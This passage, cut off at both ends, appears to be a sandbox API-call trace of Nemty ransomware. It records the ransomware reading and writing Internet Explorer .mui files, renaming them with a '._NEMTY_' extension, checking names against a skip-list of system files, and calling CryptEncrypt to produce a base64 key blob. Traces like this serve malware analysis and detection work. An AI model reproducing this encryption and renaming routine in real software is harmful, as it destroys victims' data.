lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.272] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.272] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.273] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.273] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.282] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.282] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.283] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.283] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.292] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.292] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.292] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.292] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.301] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.301] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.301] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.301] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.311] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.311] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.311] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.311] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.320] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.320] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.320] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.320] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.330] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.330] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.330] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.330] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.339] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.339] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.339] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.340] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.349] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.349] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.349] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.349] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.358] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.358] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.358] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.358] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.364] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.364] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.364] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.364] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.370] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.370] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.370] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.370] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.370] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634fc48 | out: hHeap=0x4f90000) returned 1 [0098.370] CloseHandle (hObject=0xffffffff) returned 0 [0098.370] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94328 [0098.370] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0098.370] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0098.370] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0098.370] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0098.371] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0098.371] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f943b0 [0098.371] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x63401b8 [0098.371] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943b0 | out: hHeap=0x4f90000) returned 1 [0098.371] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0098.371] MoveFileW (lpExistingFileName="C:\\Program Files\\Internet Explorer\\en-US\\iedvtool.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\iedvtool.dll.mui"), lpNewFileName="C:\\Program Files\\Internet Explorer\\en-US\\iedvtool.dll.mui._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\internet explorer\\en-us\\iedvtool.dll.mui._nemty_kgobjgd_")) returned 0 [0098.371] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0098.371] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0098.371] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0098.371] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0098.371] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0098.371] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0098.371] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0098.371] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0098.371] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0098.371] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0098.371] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="ieinstal.exe.mui", cAlternateFileName="")) returned 1 [0098.371] lstrcmpiW (lpString1="ieinstal.exe.mui", lpString2=".") returned 1 [0098.371] lstrcmpiW (lpString1="ieinstal.exe.mui", lpString2="..") returned 1 [0098.371] lstrcmpiW (lpString1="ieinstal.exe.mui", lpString2="...") returned 1 [0098.371] lstrcmpiW (lpString1="ieinstal.exe.mui", lpString2="windows") returned -1 [0098.371] lstrcmpiW (lpString1="ieinstal.exe.mui", lpString2="$RECYCLE.BIN") returned 1 [0098.372] lstrcmpiW (lpString1="ieinstal.exe.mui", lpString2="rsa") returned -1 [0098.372] lstrcmpiW (lpString1="ieinstal.exe.mui", lpString2="NTDETECT.COM") returned -1 [0098.372] lstrcmpiW (lpString1="ieinstal.exe.mui", lpString2="ntldr") returned -1 [0098.372] lstrcmpiW (lpString1="ieinstal.exe.mui", lpString2="MSDOS.SYS") returned -1 [0098.372] lstrcmpiW (lpString1="ieinstal.exe.mui", lpString2="IO.SYS") returned -1 [0098.372] lstrcmpiW (lpString1="ieinstal.exe.mui", lpString2="boot.ini") returned 1 [0098.372] lstrcmpiW (lpString1="ieinstal.exe.mui", lpString2="boot.ini") returned 1 [0098.372] lstrcmpiW (lpString1="ieinstal.exe.mui", lpString2="AUTOEXEC.BAT") returned 1 [0098.372] lstrcmpiW (lpString1="ieinstal.exe.mui", lpString2="ntuser.dat") returned -1 [0098.372] lstrcmpiW (lpString1="ieinstal.exe.mui", lpString2="desktop.ini") returned 1 [0098.372] lstrcmpiW (lpString1="ieinstal.exe.mui", lpString2="CONFIG.SYS") returned 1 [0098.372] lstrcmpiW (lpString1="ieinstal.exe.mui", lpString2="RECYCLER") returned -1 [0098.372] lstrcmpiW (lpString1="ieinstal.exe.mui", lpString2="BOOTSECT.BAK") returned 1 [0098.372] lstrcmpiW (lpString1="ieinstal.exe.mui", lpString2="bootmgr") returned 1 [0098.372] lstrcmpiW (lpString1="ieinstal.exe.mui", lpString2="programdata") returned -1 [0098.372] lstrcmpiW (lpString1="ieinstal.exe.mui", lpString2="appdata") returned 1 [0098.372] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0098.372] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ieinstal.exe.mui", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0098.372] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0098.372] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ieinstal.exe.mui", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ieinstal.exe.mui", lpUsedDefaultChar=0x0) returned 16 [0098.372] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0098.372] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0098.372] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ieinstal.exe.mui", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0098.372] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0098.372] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ieinstal.exe.mui", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ieinstal.exe.mui", lpUsedDefaultChar=0x0) returned 16 [0098.372] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0098.372] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0098.372] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0098.372] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0098.372] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ieinstal.exe.mui", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0098.372] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0098.372] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ieinstal.exe.mui", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ieinstal.exe.mui", lpUsedDefaultChar=0x0) returned 16 [0098.372] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0098.372] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0098.372] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ieinstal.exe.mui", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0098.373] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0098.373] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ieinstal.exe.mui", cchWideChar=16, lpMultiByteStr=0x4f9ed58, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ieinstal.exe.mui", lpUsedDefaultChar=0x0) returned 16 [0098.373] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0098.373] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f941c0 [0098.373] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942a0 | out: hHeap=0x4f90000) returned 1 [0098.373] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94248 [0098.373] Sleep (dwMilliseconds=0x5) [0098.387] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xee4a44d0, dwHighDateTime=0x1d561e7)) [0098.387] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xee4a44d0, dwHighDateTime=0x1d561e7)) [0098.387] GetLastError () returned 0x5 [0098.387] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0098.387] GetLastError () returned 0x5 [0098.387] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0098.387] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0098.387] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0098.387] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0098.387] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0098.387] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0098.387] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0098.387] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="6CAB+qZ7ZKMktRVE4VtTRCRsh06ypq7rpp0HJV7AHmtpuOC4WfhqHH2kSquT9lrj\r\nffwDE4QinwYTdJeDzV7SVaDI3jfSmHw+Z5YAomlrs4lEQbV5vspNUNIU1AVQb4LS\r\ng+/n/jzA0Gg+tEn0cc9iysQqGAke3lK8q+IxgPF2C+9HVfwSNTbxiptxOQSTWHCt\r\n7itl1MciLDtEqzy9176LhZAnwsJ8CKitRFw7+QNO/c3ga6AQLShZ4hOgyxbDK+IM\r\nDFkiE21X+NzZrWeFwAN3yZK+KcXp5HKngrTlC/CuC9U1nPSbQHnjAZJvcXpPKrXU\r\nPKp3hXOgmctSHGzzyT5vLQ==\r\n", pcchString=0x653ef9c) returned 1 [0098.387] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0098.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0098.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0098.388] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0098.388] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0098.388] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0098.388] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\ieinstal.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0098.388] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0098.388] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634fc48 [0098.388] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.388] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.397] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.397] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.397] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.397] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.407] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.407] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.407] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.407] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.416] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.416] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.416] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.416] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, 